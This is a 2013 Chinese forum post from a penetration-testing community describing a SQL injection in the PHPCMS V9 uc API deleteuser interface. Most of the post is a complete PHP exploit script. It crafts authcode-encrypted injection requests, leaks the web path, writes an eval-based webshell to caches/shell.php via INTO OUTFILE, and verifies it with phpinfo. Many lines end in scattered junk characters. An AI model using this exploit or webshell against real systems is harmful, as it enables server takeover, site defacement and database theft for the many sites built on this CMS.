中国网络渗透测试联盟

标题: PHPCMS V9 uc API SQL注入漏洞 [打印本页]

作者: admin    时间: 2013-2-9 01:22
标题: PHPCMS V9 uc API SQL注入漏洞
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。& p8 v: V2 N8 C" C8 |4 `' i

$ {' s- q& k' b# \9 ^$ G所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
. l) X, t' m' N( O7 q8 U
# I) T8 x! \+ T+ d% n5 O漏洞分析:) ?  ?6 y. ?4 M! K2 I
1.未启用ucenter服务的情况下uc_key为空
/ {. o, w4 t7 \( F( ~7 z/ Q( bdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));8 C: W0 e0 q' U  I  n
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
" O/ A& f( W- {: q* ~  T7 g6 `% ]    public function deleteuser($get,$post) {
6 S; @( Q' Z; a9 {" d        pc_base::load_app_func('global', 'admin');
% ?$ e" U" U: V/ `' y' a        pc_base::load_app_class('messagequeue', 'admin' , 0);! N; U/ s% T# Z8 T6 o6 d  c9 B
        $ids = new_stripslashes($get['ids']);0 a1 ]& V8 p# @* e3 S) T; `5 T) B2 X
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");1 u+ u$ Y6 a, a/ A. l. Y) M$ {: J
SQL语句为( l: A5 j3 v) o4 b
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
4 K) f3 G4 H2 y2 U
  f5 o) I' Z5 i) M* G& U利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell) ]5 N7 e8 g  Y( C. R
<?php. |- z1 T: j. i2 L/ T6 z+ I
print_r('
. w7 }7 Y) _0 s8 u- X7 J* m. m---------------------------------------------------------------------------
' Q% W1 Y  b% K0 FPHPcms (v9 or Old Version) uc api sql injection 0day
1 W7 h! l$ g# i: p% Xby rayh4c#80sec.com
" ~9 N! }6 X' S---------------------------------------------------------------------------
' C6 C0 q! S2 Z+ Z& [');
, x" h  l2 L+ ^* `  g  B
. Z0 X- }% |& Q$ K8 C& X' Kif ($argc<3) {( `: }( `3 X0 r$ C  E$ H0 {. N
    print_r('
1 F2 h# G' s* }% _---------------------------------------------------------------------------
0 k, N4 r1 J; `5 t6 t8 v" DUsage: php '.$argv[0].' host path OPTIONS
" u4 Y5 x0 v, y( s4 Lhost:      target server (ip/hostname)& R  P) [2 N+ Z6 W
path:      path to phpcms! S* d2 n: y" C( C0 g$ i% \9 ^
Options:
4 |  D" @& {1 q& I; ?+ ] -p[port]:    specify a port other than 80
5 B. n; }+ C7 ?0 B, ~ -P[ip:port]: specify a proxy
* N! A, K- Y5 f( N' F$ }/ d, D, t! zExample:
7 K5 B+ w( |- R  ~php '.$argv[0].' localhost /
+ G7 h0 M! Z0 h2 U4 j. Iphp '.$argv[0].' localhost /phpcms/ -p81
# c; L' u# J4 v( Rphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
9 E0 F4 M4 H- y& v) a* Z4 V) ?$ V---------------------------------------------------------------------------9 E# u" J/ o3 f; Q
');
, Z3 T" K/ y* a7 v% F1 T% w. n    die;
7 X2 |! y$ E! ?/ K' g! U! K: y}2 M; B+ n) h3 W. }

8 T* k% o. E3 H! e9 ferror_reporting(7);
) d% f8 A8 ]0 m; l! gini_set("max_execution_time",0);! B( j) C/ u6 ?( m  _- Y/ S( T
ini_set("default_socket_timeout",5);9 k$ U3 p0 F3 Z
6 s  `' \% _# o& J: H6 ]9 L
function quick_dump($string)
" q2 j' a4 q; t! n3 ]{
6 y" B7 x. P6 a& R$ i+ `  $result='';$exa='';$cont=0;
: h9 Q* F: _; X$ ]2 n  for ($i=0; $i<=strlen($string)-1; $i++)
4 Y" U5 @( t7 {' `" p3 C9 v  {/ M( \! x. {" s4 p' P- ?! j
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))) g+ R/ k  ?+ {6 e
   {$result.="  .";}
: U  i( b' _0 ^9 {/ N8 m- ?8 ~9 w0 O   else
: \3 [' u1 _( ^   {$result.="  ".$string[$i];}) k  j8 x& G! g5 T6 j1 G7 b
   if (strlen(dechex(ord($string[$i])))==2)4 E' N! Q& P. X  G+ {! `/ G) ~
   {$exa.=" ".dechex(ord($string[$i]));}
9 l' V2 t$ n/ L/ N+ c   else
8 s1 j3 D) y. f9 m1 J# I+ Z. |   {$exa.=" 0".dechex(ord($string[$i]));}
/ _8 M( u$ l; z. P( G' Q3 h   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
" P3 I, }+ f6 d7 S  }
9 ]1 A, B& B$ f& P return $exa."\r\n".$result;
$ R4 |5 v+ d4 m7 q: f}
% G/ e6 L. t0 X, M2 `& z4 b& C; o) `$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
' f: W  G3 X  N4 n$ }* }& P/ F1 x
% S. U0 ^* n0 X3 S% Q6 Hfunction send($packet)1 }0 l! \  X: |  }2 j
{9 y. P9 l  Y9 t" h& @2 Y
  global $proxy, $host, $port, $html, $proxy_regex;3 n  \5 a9 ]' ~' F) k
  if ($proxy=='') {! R3 p0 F, }" |* r- U. \% F
    $ock=fsockopen(gethostbyname($host),$port);
9 D/ O. l% D5 I8 v9 \) b- h+ N    if (!$ock) {/ [& l* k: P+ A( Z4 z
      echo 'No response from '.$host.':'.$port; die;3 ~- k+ h. D& ?' C( z
    }) o7 u8 y! b+ G2 o; q7 j
  }
# E5 \" T9 `. x/ \" p  else {
7 l) W5 f9 N8 z        $c = preg_match($proxy_regex,$proxy);
6 s5 R$ C  j. t# ?    if (!$c) {
6 X/ E$ t* F; p" d      echo 'Not a valid proxy...';die;2 S$ l+ w$ V6 U5 s/ x% k, t
    }+ D& n0 _4 C+ N, C: C: c- m
    $parts=explode(':',$proxy);, l) Z" B) B3 g) F
    $parts[1]=(int)$parts[1];
' ~0 {9 r9 _8 q" R    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";/ ?1 _- I" R9 b" n' ?" y
    $ock=fsockopen($parts[0],$parts[1]);
$ o/ _' y- D% Z: \* i7 k: d    if (!$ock) {! n0 W# ?9 D& b9 A0 M, [
      echo 'No response from proxy...';die;. o* W2 h) R& r. O  @
        }
5 ]5 U3 z; c: m, k  }, N. v  a% o" B7 i* p
  fputs($ock,$packet);
; c& T( ^! ?7 n& z/ @  if ($proxy=='') {( i/ L. ]+ o' s* C
    $html='';
& p' n" F1 n$ x( n    while (!feof($ock)) {
4 G, N0 A6 C9 C      $html.=fgets($ock);
+ ^" e6 o# X; f# t! m5 K    }# I5 j& R2 r- X) M
  }
% [( A& T  }2 n  f) y  else {
' l8 ]& e- G; q# G. U    $html='';
8 ?% E" z6 i4 k0 A3 y3 M$ v    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {+ m2 L2 n5 B9 H& i
      $html.=fread($ock,1);
9 S" ~5 J, |4 x    }) L1 q! g: E! w! _
  }
  X/ z* t' Y# V+ `7 y" U9 u  fclose($ock);
2 p* W1 Y& s1 T( m+ N9 A}% Q, w+ x" p2 P8 E. Q, C! m
! F& _8 c2 C- v
$host=$argv[1];# X" A# ?! P7 @/ e2 r$ h8 h6 R. ?
$path=$argv[2];( z3 B. B# R2 H) g( @7 W. ], j" q
$port=80;
8 m2 x0 E( n0 J" _* ]+ ^$ Z/ w$proxy="";4 a2 G& t0 |6 R/ L3 x. s# Y0 X) R
for ($i=3; $i<$argc; $i++){* B- D+ {( c% l
$temp=$argv[$i][0].$argv[$i][1];
3 e5 f. G! e$ Q" \; n  b+ p" f' Aif ($temp=="-p")
$ s4 I0 G' ?# S, c& n5 f. J{1 |0 M" T5 Z7 g/ O) u( g
  $port=(int)str_replace("-p","",$argv[$i]);
4 b" @' k# u, ]5 O) T$ ~( ?* x}7 i, F+ z+ ?6 t' |
if ($temp=="-P")
: e9 P7 h( C- C' b! b{
  j4 X" O3 [, J# H* ~/ r. x  $proxy=str_replace("-P","",$argv[$i]);
$ z  U+ Q( j$ l: ~}6 q& ~8 }5 l8 V
}
( {, q( S4 G, {) c: Q, U2 W* D$ K0 y* i' r
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
" z7 h1 L% {1 ]! Gif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
# m, O" v) b% a- }' B5 n# q0 G: O- n* D# h8 {0 @5 x
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
8 ~4 j: o* `& l+ n8 B
2 E; o) n7 ~9 u+ B# ?. p; \# ?    $ckey_length = 4;
- s9 U1 s' [9 }3 C+ q- W0 {6 W* U, }: T- M6 x6 z
    $key = md5($key ? $key : '');
% T' f- I2 _' ^/ I0 ], A    $keya = md5(substr($key, 0, 16));
* _+ y. C6 g1 x9 I9 m    $keyb = md5(substr($key, 16, 16));
) e! j, N0 i0 U$ {; c    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';, o* k0 z( t; p! \: Q  d

8 r0 Z, i, N3 D& i! X0 N    $cryptkey = $keya.md5($keya.$keyc);
1 \5 \4 s: ~' m: Z% F( N    $key_length = strlen($cryptkey);% i: T9 ~  Y9 W' N9 o# g, ?

2 Z3 s/ N) N+ }4 f    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;9 E( U( y! S, [
    $string_length = strlen($string);
% w7 K" o$ }) w7 p
! g  j; Y# V! \6 M    $result = '';
8 ?. t3 n  G/ Z    $box = range(0, 255);
6 B0 I+ N5 }  d7 v! k
& Q, d7 t0 I. n9 Q5 [    $rndkey = array();
! g" l, f; E2 h( Y5 i5 |7 v* T* q    for($i = 0; $i <= 255; $i++) {
8 ]6 p. J& `* E( N        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
9 ]6 v4 o+ Q' H( I2 r5 K! d( w    }: D/ s; p7 B  W+ K# Q# [

$ w) |1 x& }, ^3 p2 x* ^. x    for($j = $i = 0; $i < 256; $i++) {7 M2 q4 ?; s) U* s
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
. K3 |+ M# O# g- D# t        $tmp = $box[$i];' w7 q+ B% g* E/ y
        $box[$i] = $box[$j];
. n: p& J/ V2 X) A' m        $box[$j] = $tmp;' n3 i9 n9 e( _5 n# D$ i
    }
/ b+ i3 j6 v! R- @/ i
4 b8 l5 Q: ~9 ]/ _$ H% Y6 j    for($a = $j = $i = 0; $i < $string_length; $i++) {0 _& R2 ^" t7 ?5 _2 o. s  D
        $a = ($a + 1) % 256;7 J! e9 v5 F5 i3 `" u2 Q
        $j = ($j + $box[$a]) % 256;
3 ]; G6 W# d; }! j        $tmp = $box[$a];
3 x1 b* M" I* F7 U, v$ H        $box[$a] = $box[$j];
& k& t! V2 L7 s" s7 Y  z6 q        $box[$j] = $tmp;1 Z, w# M4 {2 R, V4 `) e9 M
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));- T* u* b0 y- ~2 A( S; g
    }
, c- g* Z6 C; ~0 G0 m9 W! {% E4 P
1 }; ^0 F" o4 z0 ~2 h2 v    if($operation == 'DECODE') {( {. R  L; s0 x9 n9 Q; \
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
8 ^) C7 N8 F1 r& a1 ], O3 t            return substr($result, 26);; `/ k. ^- Y  d9 j1 l+ w$ G- D
        } else {
& w( U8 Z: `* V4 v+ B            return '';- Z* ]1 y/ _# j3 M' s0 f7 v
        }
2 K2 `& U" f8 ]# @    } else {( {. d6 U- N: R" v/ \4 k& [: m& W
        return $keyc.str_replace('=', '', base64_encode($result));  E2 B' V9 G! w. E
    }
1 U) T: v1 D/ l$ }& I% b' o
  O$ I8 U4 C; E' a}! A1 S& c& C  n, u) g

1 Z* v1 ]. n2 l+ c+ ~- ]$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
- z4 I1 q! d/ J+ K# z$SQL = urlencode(authcode($SQL, "ENCODE", ""));
  g' I0 l9 L! B& R9 Z- _& a$ Iecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";5 o1 }! Y4 f9 L9 [/ Q
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
# w) K% T* |5 C) M( I$packet.="User-Agent: Mozilla/5.0\r\n";0 {6 c6 U4 w; E5 Y) t; S+ ~# }0 S
$packet.="Host: ".$host."\r\n";
2 t1 c9 L4 n- I4 I& f, }4 j) u9 F& Y$packet.="Connection: Close\r\n\r\n";
) Q9 m; z* S8 k2 Asend($packet);
0 c% ^7 K6 D5 E* k: _; J0 Rif(strpos($html,"MySQL Errno") > 0){7 O- L5 F1 `: |# d) _! t! p. X
echo "[2] 发现存在SQL注入漏洞"."\n";8 m! e0 c: ~  h( P
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
% I- f/ Q" {1 U( `8 P, ?" m$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
5 n. H0 \2 F& H, z7 p7 f$packet.="User-Agent: Mozilla/5.0\r\n";7 C% y0 F" H2 F( O  v6 |: a' a
$packet.="Host: ".$host."\r\n";
' E! n/ k( i* w6 d$packet.="Connection: Close\r\n\r\n";, c3 S+ s$ W9 Y9 e+ v2 n/ \! l8 V
send($packet);' P9 `5 k9 C0 |" ]/ ~
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);" b9 p7 F4 e& c" Q4 ?6 J& [8 v% m
//print_r($matches);
; S* r) J" l. v7 {6 E( o3 F. Oif(!empty($matches)){
# G  s$ ]% C  ]. k( wecho "[4] 得到web路径 " . $matches[0]."\n";7 I; \3 o) ^; Z8 B9 e
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";# g( o# z. Y2 l, \) w
$SQL = "time=999999999999999999999999&ids=1)";
9 o4 A. B+ ~, Z1 D' D$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
2 Z* {7 P# l: |$SQL.="&action=deleteuser";
5 T) _, U4 t& @1 K$SQL = urlencode(authcode($SQL, "ENCODE", ""));
" ~" C- n- c+ h  ?, |* uecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";# p! y# _, _, `3 K# E
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";9 d- [/ I! N8 q  ^! W) i+ y5 b) J- }
$packet.="User-Agent: Mozilla/5.0\r\n";
8 I, [; S1 i, S6 L) O* s. ~, L. G* ]; B$packet.="Host: ".$host."\r\n";0 L  {/ C" k( V* ]/ v3 i) ~
$packet.="Connection: Close\r\n\r\n";
% |0 f, w$ _; e7 F; \: usend($packet);
0 ~( e" W3 f5 `) m: E, |- L% xif(strpos($html,"Access denied") > 0){% L/ p" g0 o% r7 i. r3 H, G* D
echo "[-] MYSQL权限过低 禁止写入文件 ";% B# Q, R  ~' i$ v5 g. ~
die;
8 Q6 Y5 Z# j/ f% l+ V- i}
! }& S7 `4 J; |echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";: Y$ G% E2 E2 x+ a; P" }' V! Z2 x
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
5 j7 E5 l" q  n$packet.="User-Agent: Mozilla/5.0\r\n";
8 z# y: L/ D: ~+ q  z8 x- z* a6 _$packet.="Host: ".$host."\r\n";
- I- H  |0 @1 k! R) E; m! n$packet.="Connection: Close\r\n\r\n";1 `+ X, a+ P' Z) B7 ~
send($packet);
3 o+ d1 h6 I* l7 U4 P7 |6 Y. J: A, n% p% Tif(strpos($html,"<title>phpinfo()</title>") > 0){
$ [5 w/ ]9 x1 B6 K* M" Y. F- p0 w. D$ Eecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";7 q2 g6 Q& {) C" A6 q: N, Z6 n7 G
}
! N' P# I& |9 Z2 e' u/ J+ t% Y}else{  ?, v$ |- o7 q, Y6 \' X* _' v
echo "[-]未取到web路径 ";! p, h( ^" X2 H6 @3 B8 _
}  a* n  ?3 b9 P7 D
}else{/ S& L& p& i" r' r; B, v! z5 J
echo "[*]不存在SQL注入漏洞"."\n";
& T! P% X( @; x2 t; S8 W; l1 V}
. J  m* B' {' w* u
% g$ B" o4 g  O2 f" ~?>$ Z: s0 e4 j& r2 Q0 p" y





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2